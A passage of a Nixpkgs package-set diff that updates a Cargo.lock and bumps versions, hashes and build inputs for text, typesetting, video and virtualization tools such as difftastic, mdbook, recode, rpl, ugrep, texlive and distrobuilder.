+1170,53 @@ version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" dependencies = [ - "windows_aarch64_gnullvm 0.48.5", - "windows_aarch64_msvc 0.48.5", - "windows_i686_gnu 0.48.5", - "windows_i686_msvc 0.48.5", - "windows_x86_64_gnu 0.48.5", - "windows_x86_64_gnullvm 0.48.5", - "windows_x86_64_msvc 0.48.5", + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", ] [[package]] name = "windows_aarch64_gnullvm" -version = "0.42.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8c9864e83243fdec7fc9c5444389dcbbfd258f745e7853198f365e3c4968a608" - -[[package]] -name = "windows_aarch64_gnullvm" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" [[package]] name = "windows_aarch64_msvc" -version = "0.42.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4c8b1b673ffc16c47a9ff48570a9d85e25d265735c503681332589af6253c6c7" - -[[package]] -name = "windows_aarch64_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" [[package]] name = "windows_i686_gnu" -version = "0.42.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "de3887528ad530ba7bdbb1faa8275ec7a1155a45ffa57c37993960277145d640" - -[[package]] -name = "windows_i686_gnu" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" [[package]] name = "windows_i686_msvc" -version = "0.42.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bf4d1122317eddd6ff351aa852118a2418ad4214e6613a50e0191f7004372605" - -[[package]] -name = "windows_i686_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" [[package]] name = "windows_x86_64_gnu" -version = "0.42.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1040f221285e17ebccbc2591ffdc2d44ee1f9186324dd3e84e99ac68d699c45" - -[[package]] -name = "windows_x86_64_gnu" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" [[package]] name = "windows_x86_64_gnullvm" -version = "0.42.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "628bfdf232daa22b0d64fdb62b09fcc36bb01f05a3939e20ab73aaf9470d0463" - -[[package]] -name = "windows_x86_64_gnullvm" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" [[package]] name = "windows_x86_64_msvc" -version = "0.42.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "447660ad36a13288b1db4d4248e857b510e8c3a225c822ba4fb748c0aafecffd" - -[[package]] -name = "windows_x86_64_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" @@ -1294,3 +1232,23 @@ name = "yansi" version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "09041cd90cf85f7f8b2df60c646f853b7f535ce68f85244eb6731cf89fa498ec" + +[[package]] +name = "zerocopy" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.49", +] diff --git a/pkgs/tools/text/difftastic/default.nix b/pkgs/tools/text/difftastic/default.nix index e5c04d1e4cd31..e1733800cdfe0 100644 --- a/pkgs/tools/text/difftastic/default.nix +++ b/pkgs/tools/text/difftastic/default.nix @@ -17,13 +17,13 @@ in rustPlatform.buildRustPackage rec { pname = "difftastic"; - version = "0.55.0"; + version = "0.56.1"; src = fetchFromGitHub { owner = "wilfred"; repo = pname; rev = version; - hash = "sha256-ltlgZoR94BrF6FOOUnSNZf3Uagu5AZjxE7yxOwWWMzU="; + hash = "sha256-XQzsLowHtgXIKfUWx1Sj1D0F8scb7fNp33Cwfh5XvJI="; }; cargoLock = { diff --git a/pkgs/tools/text/fanficfare/default.nix b/pkgs/tools/text/fanficfare/default.nix index ba20910e1b8d2..149082cc995f0 100644 --- a/pkgs/tools/text/fanficfare/default.nix +++ b/pkgs/tools/text/fanficfare/default.nix @@ -2,12 +2,12 @@ python3Packages.buildPythonApplication rec { pname = "FanFicFare"; - version = "4.31.0"; + version = "4.32.3"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-6AdiyL51UzK/f7wGn2UekAglGPIs4vfyYbC/MdD0aEk="; + hash = "sha256-Qfe24Ees3LLnSuU4kjn+dwtKjLBSYgF22U1YAtpw1po="; }; nativeBuildInputs = with python3Packages; [ diff --git a/pkgs/tools/text/goawk/default.nix b/pkgs/tools/text/goawk/default.nix index fc1a2bab79f4d..2ed24f93d4d75 100644 --- a/pkgs/tools/text/goawk/default.nix +++ b/pkgs/tools/text/goawk/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "goawk"; - version = "1.25.0"; + version = "1.26.0"; src = fetchFromGitHub { owner = "benhoyt"; repo = "goawk"; rev = "v${version}"; - hash = "sha256-vxDBtYrfSmYE2mCqhepeLr4u+zLfHxCrYSXGq05CEYQ="; + hash = "sha256-EJf5Qv5ICJJdGNcRQ7v/ANyxx2j9d9NsZJnzIBrwam4="; }; vendorHash = null; diff --git a/pkgs/tools/text/gtree/default.nix b/pkgs/tools/text/gtree/default.nix index d27a2857413c3..266b807c3f606 100644 --- a/pkgs/tools/text/gtree/default.nix +++ b/pkgs/tools/text/gtree/default.nix @@ -7,13 +7,13 @@ buildGoModule rec { pname = "gtree"; - version = "1.10.8"; + version = "1.10.9"; src = fetchFromGitHub { owner = "ddddddO"; repo = "gtree"; rev = "v${version}"; - hash = "sha256-gxX5Cq5SPDNWtwtuo35RW+N/WE0ZximxDlTi9TnTACM="; + hash = "sha256-3OXrKt3rM166JXqFuB+S0BJJkmkHPzJaWDDFeClmdM8="; }; vendorHash = "sha256-5biKUOzYaVY+52f0ewvHslAnb+BM0BuqGrU8wwA3t+E="; diff --git a/pkgs/tools/text/hyx/default.nix b/pkgs/tools/text/hyx/default.nix index 28b4765ede4a7..f599d067f094c 100644 --- a/pkgs/tools/text/hyx/default.nix +++ b/pkgs/tools/text/hyx/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "hyx"; - version = "2021.06.09"; + version = "2024.02.29"; src = fetchurl { url = "https://yx7.cc/code/hyx/hyx-${lib.replaceStrings [ "-" ] [ "." ] version}.tar.xz"; - sha256 = "sha256-jU8U5YWE1syPBOQ8o4BC7tIYiCo4kknCCwhnMCVtpes="; + sha256 = "sha256-dufx3zsabeet7Rp0d60MIuNqisIQd6UgE7WDZYNHl3E="; }; postPatch = lib.optionalString stdenv.isDarwin '' diff --git a/pkgs/tools/text/mdbook/default.nix b/pkgs/tools/text/mdbook/default.nix index aacdf243f997e..2a875f23287f7 100644 --- a/pkgs/tools/text/mdbook/default.nix +++ b/pkgs/tools/text/mdbook/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "mdbook"; - version = "0.4.36"; + version = "0.4.37"; src = fetchFromGitHub { owner = "rust-lang"; repo = "mdBook"; rev = "refs/tags/v${version}"; - sha256 = "sha256-QQSGnOWRx5KK9eJP759E1V9zFVzvRol5bdJfD9mDr5g="; + sha256 = "sha256-A8ZSqIG+rGKwggs9ogvbMIi9gClFKe8gS6D5W426ebc="; }; - cargoHash = "sha256-IlD4YI7jsWZw0Dn1PoljmhuIOqejva8HMhU4ULy32yE="; + cargoHash = "sha256-8GQM4pHiFbyoRkOx3SXuIV118ndzL+O+eA+Gd2jbsdI="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/tools/text/ov/default.nix b/pkgs/tools/text/ov/default.nix index ff5a076c6ecf2..d74d4bc061826 100644 --- a/pkgs/tools/text/ov/default.nix +++ b/pkgs/tools/text/ov/default.nix @@ -10,16 +10,16 @@ buildGoModule rec { pname = "ov"; - version = "0.33.2"; + version = "0.33.3"; src = fetchFromGitHub { owner = "noborus"; repo = "ov"; rev = "refs/tags/v${version}"; - hash = "sha256-EaAguJPr/FVDfmfbC26zpmkZFnX+3Cdez/zvx2lr4jM="; + hash = "sha256-dKAZ8rcm1J3jRfOyLz74YuVv0hZ3iWXR1slBTu5CtYU="; }; - vendorHash = "sha256-/S7YKIwuZyQBGIbcPt/ffv8Vx6vzXsk/fDRCIXANPTE="; + vendorHash = "sha256-6Ik//r6JJ2n9lXr6JZ6BGIIL7yXXray+flEwQ0IKyA4="; ldflags = [ "-s" diff --git a/pkgs/tools/text/recode/default.nix b/pkgs/tools/text/recode/default.nix index 8c49fb5ee7fcf..9f215f41feaae 100644 --- a/pkgs/tools/text/recode/default.nix +++ b/pkgs/tools/text/recode/default.nix @@ -1,22 +1,36 @@ -{ lib, stdenv, fetchurl, python3, perl, intltool, flex, texinfo, libiconv, libintl }: +{ lib +, stdenv +, fetchurl +, python3Packages +, flex +, texinfo +, libiconv +, libintl +}: stdenv.mkDerivation rec { pname = "recode"; - version = "3.7.12"; + version = "3.7.14"; # Use official tarball, avoid need to bootstrap/generate build system src = fetchurl { url = "https://github.com/rrthomas/${pname}/releases/download/v${version}/${pname}-${version}.tar.gz"; - hash = "sha256-TbHJB28E26oVlyb1AAhH5eWoOuyOXGT4ygQ4P2zaEtU="; + hash = "sha256-eGqv1USFGisTsKN36sFQD4IM5iYVzMLmMLUB53Q7nzM="; }; - nativeBuildInputs = [ python3 python3.pkgs.cython perl intltool flex texinfo libiconv ]; + nativeBuildInputs = [ python3Packages.python flex texinfo libiconv ]; + buildInputs = [ libintl ]; enableParallelBuilding = true; doCheck = true; + nativeCheckInputs = with python3Packages; [ + cython + setuptools + ]; + meta = { homepage = "https://github.com/rrthomas/recode"; description = "Converts files between various character sets and usages"; diff --git a/pkgs/tools/text/riffdiff/default.nix b/pkgs/tools/text/riffdiff/default.nix index ebd4a7dc0a7a4..72b3dfc14a1a7 100644 --- a/pkgs/tools/text/riffdiff/default.nix +++ b/pkgs/tools/text/riffdiff/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "riffdiff"; - version = "2.30.1"; + version = "3.0.0"; src = fetchFromGitHub { owner = "walles"; repo = "riff"; rev = version; - hash = "sha256-+bYQrZBbMnlDRZBM252i3dvSpLfW/ys4bBe9mDCvHuU="; + hash = "sha256-lS7+sLA/6ZxieodvSPuEzawxQb2vWdNCkGy1RTbg4dY="; }; - cargoHash = "sha256-aJc3OcnSE4xo8FdSVt4YYX3i5NZT9GaczlFrbCw+iRo="; + cargoHash = "sha256-hGy0B2uLT37wKOvC4/wc8i+v1vEQ3bzrgm/yqRCAx3s="; meta = with lib; { description = "A diff filter highlighting which line parts have changed"; diff --git a/pkgs/tools/text/ripgrep-all/default.nix b/pkgs/tools/text/ripgrep-all/default.nix index 9844a72f9d520..daed3da28e740 100644 --- a/pkgs/tools/text/ripgrep-all/default.nix +++ b/pkgs/tools/text/ripgrep-all/default.nix @@ -9,6 +9,7 @@ , ripgrep , Security , zip +, fzf }: let @@ -18,6 +19,7 @@ let poppler_utils ripgrep zip + fzf ]; in rustPlatform.buildRustPackage rec { pname = "ripgrep-all"; @@ -43,8 +45,10 @@ in rustPlatform.buildRustPackage rec { nativeCheckInputs = path; postInstall = '' - wrapProgram $out/bin/rga \ - --prefix PATH ":" "${lib.makeBinPath path}" + for bin in $out/bin/*; do + wrapProgram $bin \ + --prefix PATH ":" "${lib.makeBinPath path}" + done ''; meta = with lib; { diff --git a/pkgs/tools/text/rpl/default.nix b/pkgs/tools/text/rpl/default.nix index 9f37fd260d712..cc36f93baf0ff 100644 --- a/pkgs/tools/text/rpl/default.nix +++ b/pkgs/tools/text/rpl/default.nix @@ -1,38 +1,36 @@ -{ lib, fetchFromGitHub, python3Packages }: +{ lib, fetchPypi, python3Packages }: python3Packages.buildPythonApplication rec { pname = "rpl"; - version = "1.10"; + version = "1.15.5"; - # Tests not included in pip package. - doCheck = false; + pyproject = true; - - src = fetchFromGitHub { - owner = "rrthomas"; - repo = "rpl"; - rev = "4467bd46a7a798f738247a7f090c1505176bd597"; - sha256 = "0yf3pc3fws4nnh4nd8d3jpglmsyi69d17qqgpcnkpqca5l4cd25w"; + src = fetchPypi { + inherit pname version; + hash = "sha256-rhPS+hwbjqq3X/V1bL6pzGg2tVxBkeMyUhaCvmneG4M="; }; - patches = [ - ./remove-argparse-manpage.diff # quickfix for ImportError: No module named build_manpages.build_manpages + nativeBuildInputs = [ + python3Packages.setuptools + ]; + + nativeCheckInputs = [ + python3Packages.pytest-datafiles + python3Packages.pytestCheckHook ]; propagatedBuildInputs = [ - #python3Packages.argparse-manpage # TODO + python3Packages.argparse-manpage + python3Packages.chainstream python3Packages.chardet + python3Packages.regex ]; - installPhase = '' - mkdir -p $out/bin - mv rpl $out/bin - ''; - meta = with lib; { description = "Replace strings in files"; - homepage = "https://github.com/rrthomas/rpl"; - license = licenses.gpl2; - maintainers = with maintainers; [ teto ]; + homepage = "https://github.com/rrthomas/rpl"; + license = licenses.gpl2; + maintainers = with maintainers; [ cbley ]; }; } diff --git a/pkgs/tools/text/rpl/remove-argparse-manpage.diff b/pkgs/tools/text/rpl/remove-argparse-manpage.diff deleted file mode 100644 index 8d32976996828..0000000000000 --- a/pkgs/tools/text/rpl/remove-argparse-manpage.diff +++ /dev/null @@ -1,27 +0,0 @@ -diff --git a/setup.cfg b/setup.cfg -index 12e9198..38e5376 100644 ---- a/setup.cfg -+++ b/setup.cfg -@@ -15,7 +15,6 @@ classifiers = - [options] - scripts = rpl - python_requires = >=3 --setup_requires = argparse-manpage - install_requires = chardet - - [options.extras_require] -diff --git a/setup.py b/setup.py -index 96cade6..879fc44 100644 ---- a/setup.py -+++ b/setup.py -@@ -1,9 +1,8 @@ --from build_manpages.build_manpages import get_install_cmd - from setuptools import setup - from setuptools.command.install import install - - setup( - cmdclass={ -- 'install': get_install_cmd(install), -+ 'install': install, - } - ) diff --git a/pkgs/tools/text/scraper/default.nix b/pkgs/tools/text/scraper/default.nix index 05c4957f27dd0..c148f1e57f3f5 100644 --- a/pkgs/tools/text/scraper/default.nix +++ b/pkgs/tools/text/scraper/default.nix @@ -2,14 +2,14 @@ rustPlatform.buildRustPackage rec { pname = "scraper"; - version = "0.18.1"; + version = "0.19.0"; src = fetchCrate { inherit pname version; - hash = "sha256-fnX2v7VxVFgn9UT1+qWBvN+oDDI2DbK6UFKmby5aB5c="; + hash = "sha256-HfZ8zyjghTXIyIYS+MaGF5OdMLJv6NIjQswdn/tvQbU="; }; - cargoHash = "sha256-HeT3U4H/OM/91BdXTvZq+gpmOnt/P4wTlqc2dl4erlQ="; + cargoHash = "sha256-py8VVciNJ36/aSTlTH+Bx36yrh/8AuzB9XNNv/PrFak="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/tools/text/ugrep/default.nix b/pkgs/tools/text/ugrep/default.nix index 0293f2770a621..4dfd4c31c5f16 100644 --- a/pkgs/tools/text/ugrep/default.nix +++ b/pkgs/tools/text/ugrep/default.nix @@ -7,6 +7,7 @@ , bzip3 , lz4 , pcre2 +, testers , xz , zlib , zstd @@ -14,13 +15,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "ugrep"; - version = "4.5.2"; + version = "5.0.0"; src = fetchFromGitHub { owner = "Genivia"; repo = "ugrep"; rev = "v${finalAttrs.version}"; - hash = "sha256-aQJU4SuGJy+TyxBgaHimxc0HtW9ZJIB2b6jxcGIoqo4="; + hash = "sha256-VAfnj/2EdkDpcS30DveUUYLSNj07sy+gvKxyGkg2mvA="; }; buildInputs = [ @@ -35,6 +36,12 @@ stdenv.mkDerivation (finalAttrs: { zstd ]; + passthru.tests = { + version = testers.testVersion { + package = finalAttrs.finalPackage; + }; + }; + meta = with lib; { description = "Ultra fast grep with interactive query UI"; homepage = "https://github.com/Genivia/ugrep"; @@ -42,5 +49,6 @@ stdenv.mkDerivation (finalAttrs: { maintainers = with maintainers; [ numkem mikaelfangel ]; license = licenses.bsd3; platforms = platforms.all; + mainProgram = "ug"; }; }) diff --git a/pkgs/tools/text/vale/default.nix b/pkgs/tools/text/vale/default.nix index 9ea35d355c725..e3d2896078ca2 100644 --- a/pkgs/tools/text/vale/default.nix +++ b/pkgs/tools/text/vale/default.nix @@ -2,7 +2,7 @@ buildGoModule rec { pname = "vale"; - version = "3.0.7"; + version = "3.2.2"; subPackages = [ "cmd/vale" ]; outputs = [ "out" "data" ]; @@ -11,10 +11,10 @@ buildGoModule rec { owner = "errata-ai"; repo = "vale"; rev = "v${version}"; - hash = "sha256-wCCW5yJPbXkwkkDywtIBR7gaJG0nLEHIC4xb1LbPa3w="; + hash = "sha256-CLbzrJJVgFxJKuTtXQKGZ6q228Sm7s+Is11TE8mAmD8="; }; - vendorHash = "sha256-uEuzAMsQHTAbKeAPIWu2yoCLhBrQNEYxdmjfzLLWONQ="; + vendorHash = "sha256-KxIQZViUYT4cgRlOuKBwen6pqQjGiAofkeBztmjnKdQ="; postInstall = '' mkdir -p $data/share/vale diff --git a/pkgs/tools/text/zim-tools/default.nix b/pkgs/tools/text/zim-tools/default.nix index e51755dd7e449..100c9e706ff78 100644 --- a/pkgs/tools/text/zim-tools/default.nix +++ b/pkgs/tools/text/zim-tools/default.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "zim-tools"; - version = "3.3.0"; + version = "3.4.0"; src = fetchFromGitHub { owner = "openzim"; repo = "zim-tools"; rev = version; - sha256 = "sha256-kPUw13GVYZ1GLb4b4ch64GkJZtf6PW1gae8F/cgyG90="; + sha256 = "sha256-A1A0Ri2OwPyqpx0f5CPJL3zAwo2I/AiRKpmk3r4DeTc="; }; nativeBuildInputs = [ meson ninja pkg-config ]; diff --git a/pkgs/tools/typesetting/htmldoc/default.nix b/pkgs/tools/typesetting/htmldoc/default.nix index da54f7c62970c..63b6e406ae098 100644 --- a/pkgs/tools/typesetting/htmldoc/default.nix +++ b/pkgs/tools/typesetting/htmldoc/default.nix @@ -2,12 +2,12 @@ stdenv.mkDerivation rec { pname = "htmldoc"; - version = "1.9.17"; + version = "1.9.18"; src = fetchFromGitHub { owner = "michaelrsweet"; repo = "htmldoc"; rev = "v${version}"; - sha256 = "1qq45l1vxxa970cm0wjvgj0w88hd4vsisa85pf5i54yvfzf11sqw"; + sha256 = "sha256-fibk58X0YtQ8vh8Lyqp9ZAsC79BjCptiqUA5t5Hiisg="; }; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/tools/typesetting/pulldown-cmark/default.nix b/pkgs/tools/typesetting/pulldown-cmark/default.nix index 27b669a0d1064..a7ef454c811fb 100644 --- a/pkgs/tools/typesetting/pulldown-cmark/default.nix +++ b/pkgs/tools/typesetting/pulldown-cmark/default.nix @@ -5,14 +5,14 @@ rustPlatform.buildRustPackage rec { pname = "pulldown-cmark"; - version = "0.9.6"; + version = "0.10.0"; src = fetchCrate { inherit pname version; - hash = "sha256-5rCoFI+QWQVxF4YUzwP7jQytiIzTXtlOr3AJzHMdtR8="; + hash = "sha256-7ZO3MdQBNgltrd4Anu19g0Gkye6Bc2WHDuSng6mB9pM="; }; - cargoHash = "sha256-it18jXKqUE43A6KAsx+BFc7YwufXjk1FJ0u8D2EolHQ="; + cargoHash = "sha256-4UUdsS3dK5a6phwYZqjNwX52UMLLe/LHxOiBanTRMZM="; meta = { description = "A pull parser for CommonMark written in Rust"; diff --git a/pkgs/tools/typesetting/tectonic/default.nix b/pkgs/tools/typesetting/tectonic/default.nix index e7172e6087462..1e2c58d603565 100644 --- a/pkgs/tools/typesetting/tectonic/default.nix +++ b/pkgs/tools/typesetting/tectonic/default.nix @@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec { owner = "tectonic-typesetting"; repo = "tectonic"; rev = "tectonic@${version}"; - fetchSubmodules = true; sha256 = "sha256-xZHYiaQ8ASUwu0ieHIXcjRaH06SQoB6OR1y7Ok+FjAs="; }; @@ -34,6 +33,8 @@ rustPlatform.buildRustPackage rec { nativeBuildInputs = [ pkg-config ]; + buildFeatures = [ "external-harfbuzz" ]; + buildInputs = [ icu fontconfig harfbuzz openssl ] ++ lib.optionals stdenv.isDarwin (with darwin.apple_sdk.frameworks; [ ApplicationServices Cocoa Foundation ]); diff --git a/pkgs/tools/typesetting/tex/texlive/bin.nix b/pkgs/tools/typesetting/tex/texlive/bin.nix index df4a2862516e5..46ec52f75d842 100644 --- a/pkgs/tools/typesetting/tex/texlive/bin.nix +++ b/pkgs/tools/typesetting/tex/texlive/bin.nix @@ -3,7 +3,7 @@ , zlib, libiconv, libpng, libX11 , freetype, gd, libXaw, icu, ghostscript, libXpm, libXmu, libXext , perl, perlPackages, python3Packages, pkg-config, cmake, ninja -, libpaper, graphite2, zziplib, harfbuzz, potrace, gmp, mpfr, mupdf +, libpaper, graphite2, zziplib, harfbuzz, potrace, gmp, mpfr, mupdf-headless , brotli, cairo, pixman, xorg, clisp, biber, woff2, xxHash , makeWrapper, shortenPerlShebang, useFixedHashes, asymptote , biber-ms @@ -361,7 +361,7 @@ dvisvgm = stdenv.mkDerivation { ++ [ "--with-system-kpathsea" ]; nativeBuildInputs = [ pkg-config ]; - buildInputs = [ core brotli ghostscript zlib freetype woff2 potrace xxHash mupdf ]; + buildInputs = [ core brotli ghostscript zlib freetype woff2 potrace xxHash mupdf-headless ]; enableParallelBuilding = true; }; diff --git a/pkgs/tools/typesetting/tex/texlive/build-tex-env.nix b/pkgs/tools/typesetting/tex/texlive/build-tex-env.nix index 9a721168591f1..85be581a3066b 100644 --- a/pkgs/tools/typesetting/tex/texlive/build-tex-env.nix +++ b/pkgs/tools/typesetting/tex/texlive/build-tex-env.nix @@ -188,7 +188,6 @@ let passthru = lib.optionalAttrs (! __combine) (splitOutputs // { all = builtins.attrValues splitOutputs; - outputs = [ "out" ] ++ pkgList.nonEnvOutputs; }) // { # This is set primarily to help find-tarballs.nix to do its job requiredTeXPackages = builtins.filter lib.isDerivation (pkgList.bin ++ pkgList.nonbin @@ -440,14 +439,11 @@ let ; }).overrideAttrs (prev: { allowSubstitutes = true; } - # the outputsToInstall must be built by the main derivation for nix-profile-install to work // lib.optionalAttrs (! __combine) ({ - outputs = pkgList.outputsToInstall; + outputs = [ "out" ] ++ pkgList.nonEnvOutputs; meta = prev.meta // { inherit (pkgList) outputsToInstall; }; - } // (lib.mapAttrs' - (out: drv: { name = "otherOutput_" + out; value = drv; }) - (lib.getAttrs (builtins.tail pkgList.outputsToInstall) splitOutputs) - ) + } // builtins.listToAttrs + (map (out: { name = "otherOutput_" + out; value = splitOutputs.${out}; }) pkgList.nonEnvOutputs) ) ); in out) diff --git a/pkgs/tools/video/lux/default.nix b/pkgs/tools/video/lux/default.nix index fe81c15940e0c..ecd0ae17c558b 100644 --- a/pkgs/tools/video/lux/default.nix +++ b/pkgs/tools/video/lux/default.nix @@ -7,13 +7,13 @@ buildGoModule rec { pname = "lux"; - version = "0.22.0"; + version = "0.23.0"; src = fetchFromGitHub { owner = "iawia002"; repo = "lux"; rev = "v${version}"; - hash = "sha256-v74+Ykz9aro1x+9psg2LnuodKE2/pCw9knZop0etQOg="; + hash = "sha256-lZrsrBO3sAn4wAMMgxrVwky7HmKxnQQcLe1POYTAmoE="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/tools/video/untrunc-anthwlock/default.nix b/pkgs/tools/video/untrunc-anthwlock/default.nix index 33ec940aebc46..6ec52db7ebfde 100644 --- a/pkgs/tools/video/untrunc-anthwlock/default.nix +++ b/pkgs/tools/video/untrunc-anthwlock/default.nix @@ -1,16 +1,18 @@ -{ lib, stdenv, fetchFromGitHub, ffmpeg_4, libui }: +{ lib, stdenv, fetchFromGitHub, ffmpeg_4, libui, unstableGitUpdater, wrapGAppsHook }: stdenv.mkDerivation { pname = "untrunc-anthwlock"; - version = "2020.07.18"; + version = "unstable-2021-11-21"; src = fetchFromGitHub { owner = "anthwlock"; repo = "untrunc"; - rev = "a0bf2e8642ecdb7af5897ed9b0dd30a7d03520ae"; - sha256 = "14i2lq68q990hnm2kkfamlsi67bcml85zl8yjsyxc5h8ncc2f3dp"; + rev = "d72ec324fbc29eb00b53c7dafeef09f92308962b"; + hash = "sha256-h+aFPhlbEM6EfCKbsJPelBY5ys7kv5K4rbK/HTHeEcw="; }; + nativeBuildInputs = [ wrapGAppsHook ]; + buildInputs = [ ffmpeg_4 libui ]; buildPhase = '' @@ -28,6 +30,8 @@ stdenv.mkDerivation { enableParallelBuilding = true; + passthru.updateScript = unstableGitUpdater { }; + meta = with lib; { description = "Restore a truncated mp4/mov (improved version of ponchio/untrunc)"; homepage = "https://github.com/anthwlock/untrunc"; diff --git a/pkgs/tools/video/yaydl/default.nix b/pkgs/tools/video/yaydl/default.nix index 7dea97bf649e4..39e085931ddae 100644 --- a/pkgs/tools/video/yaydl/default.nix +++ b/pkgs/tools/video/yaydl/default.nix @@ -11,16 +11,16 @@ rustPlatform.buildRustPackage rec { pname = "yaydl"; - version = "0.13.0"; + version = "0.14.0"; src = fetchFromGitHub { owner = "dertuxmalwieder"; repo = pname; rev = "release-${version}"; - sha256 = "sha256-JwyWWqbUNZyH6gymeScb9tMZoPvn/Igz9iW2pp0XvEI="; + sha256 = "sha256-r0Z/dihDaiW/lBLMftLtzLELpKT2twqru1xxI9LnjU8="; }; - cargoSha256 = "sha256-jmqO0UvU6s+E5r6VFFjOvSe8oiLiTG5rPNHzoHVftWo="; + cargoHash = "sha256-FkOiMeNwYj++gZ1Kl4RZHmsRDVMZQBEYtRpogK6XSFE="; nativeBuildInputs = [ pkg-config diff --git a/pkgs/tools/virtualization/cloud-init/default.nix b/pkgs/tools/virtualization/cloud-init/default.nix index 2bbdf21049544..dd6e6c483a33c 100644 --- a/pkgs/tools/virtualization/cloud-init/default.nix +++ b/pkgs/tools/virtualization/cloud-init/default.nix @@ -17,14 +17,14 @@ python3.pkgs.buildPythonApplication rec { pname = "cloud-init"; - version = "23.4.3"; + version = "23.4.4"; namePrefix = ""; src = fetchFromGitHub { owner = "canonical"; repo = "cloud-init"; rev = "refs/tags/${version}"; - hash = "sha256-oYZr0Zvo6hn9sWtgSAGgfK2stHO247f0WUbzIIWUP18="; + hash = "sha256-imA3C2895W4vbBT9TsELT1H9QfNIxntNQLsniv+/FGg="; }; patches = [ diff --git a/pkgs/tools/virtualization/distrobuilder/default.nix b/pkgs/tools/virtualization/distrobuilder/default.nix index da2f1a9091565..fb08c7110039b 100644 --- a/pkgs/tools/virtualization/distrobuilder/default.nix +++ b/pkgs/tools/virtualization/distrobuilder/default.nix @@ -51,7 +51,10 @@ buildGoModule rec { ''; passthru = { - tests.incus = nixosTests.incus.container; + tests = { + incus-old-init = nixosTests.incus.container-old-init; + incus-new-init = nixosTests.incus.container-new-init; + }; generator = callPackage ./generator.nix { inherit src version; }; }; diff --git a/pkgs/tools/virtualization/distrobuilder/nixos-generator.patch b/pkgs/tools/virtualization/distrobuilder/nixos-generator.patch index 6194f33e19185..3c0d726e610d2 100644 --- a/pkgs/tools/virtualization/distrobuilder/nixos-generator.patch +++ b/pkgs/tools/virtualization/distrobuilder/nixos-generator.patch @@ -1,5 +1,5 @@ diff --git a/distrobuilder/lxc.generator b/distrobuilder/lxc.generator -index 0ad81d1..69dbfe7 100644 +index 0ad81d1..21ddb39 100644 --- a/distrobuilder/lxc.generator +++ b/distrobuilder/lxc.generator @@ -25,16 +25,6 @@ is_incus_vm() { @@ -73,9 +73,22 @@ index 0ad81d1..69dbfe7 100644 mkdir -p /run/systemd/system/systemd-udev-trigger.service.d cat <<-EOF > /run/systemd/system/systemd-udev-trigger.service.d/zzz-lxc-override.conf -@@ -145,24 +97,12 @@ EOF +@@ -132,37 +84,13 @@ ExecStart=-${cmd} trigger --type=devices --action=add + EOF } +-# fix_systemd_sysctl overrides the systemd-sysctl.service to use "ExecStart=-" instead of "ExecStart=". +-fix_systemd_sysctl() { +- cmd=/usr/lib/systemd/systemd-sysctl +- ! [ -e "${cmd}" ] && cmd=/lib/systemd/systemd-sysctl +- mkdir -p /run/systemd/system/systemd-sysctl.service.d +- cat <<-EOF > /run/systemd/system/systemd-sysctl.service.d/zzz-lxc-override.conf +-[Service] +-ExecStart= +-ExecStart=-${cmd} +-EOF +-} +- ## Main logic -# Nothing to do in Incus VM but deployed in case it is later converted to a container -is_incus_vm || is_lxd_vm && exit 0 @@ -99,7 +112,15 @@ index 0ad81d1..69dbfe7 100644 # Determine distro name and release ID="" -@@ -222,11 +162,6 @@ ACTION=="add|change|move", ENV{ID_NET_DRIVER}=="veth", ENV{INTERFACE}=="eth[0-9] +@@ -192,7 +120,6 @@ fi + + # Ignore failures on some units. + 